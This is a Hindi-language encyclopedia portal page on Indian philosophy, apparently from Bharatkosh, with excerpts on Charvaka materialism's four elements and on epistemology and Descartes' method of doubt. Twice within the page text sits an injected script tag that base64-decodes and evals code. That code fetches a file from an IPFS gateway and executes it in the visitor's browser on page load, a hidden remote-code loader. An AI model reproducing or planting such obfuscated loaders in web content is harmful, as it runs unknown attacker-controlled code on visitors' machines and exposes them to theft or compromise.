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  • यहाँ हम भारत के दर्शन संबंधी जानकारी प्राप्त कर सकते हैं। दर्शन वह ज्ञान है जो परम सत्य और प्रकृति के सिद्धांतों और उनके कारणों की विवेचना करता है।
  • लोकायत दर्शन या चार्वाक दर्शन हमारे देश में नास्तिक विचारधारा माना जाता रहा है। दर्शन यथार्थता की परख के लिये एक दृष्टिकोण है। दार्शनिक चिन्तन मूलतः जीवन की अर्थवत्ता की खोज का पर्याय है।
दर्शन श्रेणी के सभी लेख देखें:- दर्शन कोश<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  • भारतकोश पर लेखों की संख्या प्रतिदिन बढ़ती रहती है जो आप देख रहे वह "प्रारम्भ मात्र" ही है...<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
विशेष आलेख

        चार्वाक दर्शन के अनुसार पृथ्वी, जल, तेज तथा वायु ये चार ही तत्त्व सृष्टि के मूल कारण हैं। जिस प्रकार बौद्ध उसी प्रकार चार्वाक का भी मत है कि आकाश नामक कोई तत्त्व नहीं है। यह शून्य मात्र है। अपनी आणविक अवस्था से स्थूल अवस्था में आने पर उपर्युक्त चार तत्त्व ही बाह्य जगत, इन्द्रिय अथवा देह के रूप में दृष्ट होते हैं। आकाश की वस्त्वात्मक सत्ता न मानने के पीछे इनकी प्रमाण व्यवस्था कारण है। जिस प्रकार हम गन्ध, रस, रूप और स्पर्श का प्रत्यक्ष अनुभव करते हुए उनके समवायियों का भी तत्तत इन्द्रियों के द्वारा प्रत्यक्ष करते हैं। आकाश तत्त्व का वैसा प्रत्यक्ष नहीं होता। अत: उनके मत में आकाश नामक तत्त्व है ही नहीं। चार महाभूतों का मूलकारण क्या है? इस प्रश्न का उत्तर चार्वाकों के पास नहीं है। यह विश्व अकस्मात भिन्न-भिन्न रूपों एवं भिन्न-भिन्न मात्राओं में मिलने वाले चार महाभूतों का संग्रह या संघट्ट मात्र है। .... और पढ़ें

चयनित लेख

        ज्ञानमीमांसा दर्शनशास्त्र की एक शाखा है। दर्शनशास्त्र का ध्येय सत्‌ के स्वरूप को समझना है। सदियों से विचारक यह खोज करते रहे हैं, परंतु किसी निश्चित निष्कर्ष से अब भी उतने ही दूर प्रतीत होते हैं, जितना पहले थे। सदियों से सत्‌ के विषय में विवाद होता रहा है। आधुनिक काल में 'देकार्त' (1596-1650 ई.) को ध्यान आया कि प्रयत्न की असफलता का कारण यह है कि दार्शनिक कुछ अग्रिम कल्पनाओं को लेकर चलते रहे हैं। दर्शनशास्त्र को गणित की निश्चितता तभी प्राप्त हो सकती है, जब यह किसी धारणा को, जो स्वत: सिद्ध नहीं, प्रमाणित किए बिना न मानें। उसने व्यापक संदेह से आरंभ किया। उसकी अपनी चेतना उसे ऐसी वस्तु दिखाई दी, जिसके अस्तित्व में संदेह ही नहीं हो सकता। संदेह तो अपने आप चेतना का एक आकार या स्वरूप है .... और पढ़ें

कुछ लेख
दर्शन श्रेणी वृक्ष

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